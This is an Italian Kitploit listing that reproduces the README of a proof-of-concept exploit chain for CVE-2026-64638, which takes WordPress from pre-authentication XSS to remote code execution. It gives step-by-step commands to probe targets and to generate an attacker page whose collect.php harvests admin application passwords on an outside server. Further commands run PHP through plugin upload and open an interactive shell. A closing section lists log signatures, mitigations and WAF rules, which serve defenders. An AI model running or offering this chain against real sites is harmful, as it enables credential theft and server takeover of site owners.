Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
poc-CVE-2026-64638- — Catena di exploit PoC per XSS pre-autenticazione su WordPress fino a RCE tramite DOM clobbering, REST JSONP/SOME e caricamento di plugin, con verifica in laboratorio Docker e shell interattiva. | Kitploit
Strumenti/GitHubGitHub/mohwahyudi/poc-cve-2026-64638-
Strumenti di PhishingGenerazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingIngegneria SocialeRed Teaming

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
mohwahyudi/poc-cve-2026-64638-

poc-CVE-2026-64638-

Catena di exploit PoC per XSS pre-autenticazione su WordPress fino a RCE tramite DOM clobbering, REST JSONP/SOME e caricamento di plugin, con verifica in laboratorio Docker e shell interattiva.

Vedi Repository
61 mese faNon ancora revisionato

XSS2Shell — CVE-2026-64638 PoC

Catena di exploit XSS pre-autenticazione su WordPress → RCE, basata sulla ricerca di pwn.ai pubblicata su ionsec.io.

⚠️ AVVISO LEGALE: Solo per SCOPI EDUCATIVI e TEST AUTORIZZATI. Utilizza solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta.

Verifica in Laboratorio

PassoTecnicaStato
1XSS per differenza di parsing (sanitize_user + disallineamento di parsing del browser)✅ Verificato
2DOM clobbering (<area id=ajaxurl>, <div id=color-picker>)✅ Verificato
3Auto-trigger di user-profile.js nella pagina di login✅ Verificato
4La callback REST JSONP consente il dot traversal (window.opener.approve.click)✅ Verificato
5Override con _method=GET + _envelope=1✅ Verificato
6Furto della password applicazione (SOME)⚠️ Richiede il clic dell'amministratore
7Caricamento plugin → esecuzione PHP (senza attivazione)⚠️ Richiede le credenziali

Vedi lab/VERIFICATION_REPORT.md per tutti i dettagli.

Riepilogo della Vulnerabilità

Catena di Exploit (7 Fasi)

root@kitploit:~
Step 1: Parser Differential XSS
  └─ sanitize_user() allows "< area>", "< div>", "< button>" (space after "<")
     Browser parses these as real HTML elements in login error message

Step 2: DOM Clobbering
  └─ <area id=ajaxurl>   → shadows window.ajaxurl (HTMLAreaElement)
     <div id=color-picker class=reset-pass-submit> → satisfies jQuery selectors
     <button class="wp-generate-pw color-option"> → delegated click handler

Step 3: user-profile.js Auto-Trigger
  └─ Enqueued on wp-login.php (line 1398)
     $('.reset-pass-submit button.wp-generate-pw').trigger('click') fires
     $.post(ajaxurl, ...) → target URL = area.href (attacker-controlled)

Step 4: REST API JSONP + SOME
  └─ _jsonp=window.opener.approve.click → Same Origin Method Execution
     _envelope=1 → bypass auth error, wrap response in 200
     wp_check_jsonp_callback: regex /[^\w\.]/ allows dot traversal

Step 5: Social Engineering (1 click)
  └─ Admin sees real /wp-admin/authorize-application.php page
     Clicks "Approve" → application password minted

Step 6: Credential Theft
  └─ Password appears in redirect query string → read by child window (same-origin)

Step 7: Plugin Upload → RCE
  └─ Upload plugin ZIP → extracted to /wp-content/plugins/{slug}/
     PHP files directly executable WITHOUT activation

Avvio Rapido

1. Installa le dipendenze

root@kitploit:~
pip install requests

2. Sonda il target

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com --check

# With Burp Suite proxy
python3 xss2shell_poc.py --target https://wp-target.com --check --proxy http://127.0.0.1:8081

3. Lab Docker (per test)

root@kitploit:~
cd lab
docker-compose up -d
# WordPress 6.0.3 at http://localhost:8080
# Admin: admin / password123

4. Verifica il vettore XSS nel lab

root@kitploit:~
python3 xss2shell_poc.py --target http://localhost:8080 --check --no-ssl

5. Genera la pagina dell'attaccante

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --attacker-host https://your-server.com --generate-page

Carica xss2shell_attacker.html e collect.php sul tuo server.

6. Invia il link all'amministratore

Un amministratore WordPress con sessione attiva deve visitare la pagina dell'attaccante e fare clic una volta.

7. Ricevi le credenziali

Le credenziali compaiono in collected_creds.json sul tuo server:

root@kitploit:~
[
  {
    "timestamp": "2026-08-08T...",
    "username": "admin",
    "password": "AbCd 1234 EfGh 5678",
    "site": "https://wp-target.com"
  }
]

8. Esegui la catena RCE

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --rce

9. Shell interattiva

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --shell

10. Pulizia

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --cleanup

Rilevamento (Forensics dei Log)

Firme da cercare nei log del server:

  • Access log: POST /wp-login.php con body contenente < area, < div, < button
  • Access log: richiesta REST con parametro _jsonp= (in particolare _jsonp=a.b.c — il punto è l'indizio di SOME)
  • Access log: _envelope=1 + _method=GET su route che dovrebbero rifiutarli
  • Access log: POST /wp-admin/update.php?action=upload-plugin da IP non riconosciuto
  • Access log: GET /wp-content/plugins/{unknown-plugin}/*.php — file PHP in un plugin mai attivato
  • App log: password applicazione creata entro pochi secondi da una richiesta a authorize-application.php

Mitigazione

  1. Applica la patch a WordPress 7.0.3 (o all'ultima point release del tuo ramo)
  2. Ruota tutte le password applicazione degli amministratori
  3. Disabilita le password applicazione se non necessarie:
    root@kitploit:~
    add_filter('wp_is_application_passwords_available', '__return_false');
    
  4. Disabilita REST JSONP:
    root@kitploit:~
    add_filter('rest_jsonp_enabled', '__return_false');
    
  5. Disabilita le modifiche ai file:
    root@kitploit:~
    define('DISALLOW_FILE_MODS', true);
    
  6. Regole WAF: blocca _jsonp=, _envelope= sugli endpoint REST; blocca < area nel body POST verso wp-login.php

Struttura dei File

root@kitploit:~
xss2shell/
├── README.md                      # Documentation (this file)
├── xss2shell_poc.py               # Main PoC script
├── xss2shell_attacker.html        # Generated attacker page
├── collect.php                    # Credential collector endpoint
└── lab/
    ├── docker-compose.yml         # Docker lab (WP 6.0.3)
    ├── VERIFICATION_REPORT.md     # Step-by-step verification
    ├── test_sanitize.php          # sanitize_user() tests
    ├── test_full_payload.php      # Full payload chain test
    ├── test_browser.html          # DOM clobbering browser test
    ├── test_end_to_end.php        # End-to-end PHP test
    └── verify_xss.sh              # Automated curl tests

Riferimenti

  • IonSec — XSS2Shell: WordPress Pre-Auth XSS to RCE
  • pwn.ai — Scoperta originale
  • WordPress Security Releases
Scarica lo strumento
ElementoDettaglio
CVECVE-2026-64638
CVSS 4.08.9
Versioni interessateWordPress 4.7 – 7.0.2 (point release non aggiornate)
Corretta inWordPress 7.0.3 (6 agosto 2026), riportata in tutti i rami di manutenzione
AutenticazionePre-auth (XSS non autenticato)
ImpattoRCE tramite caricamento di plugin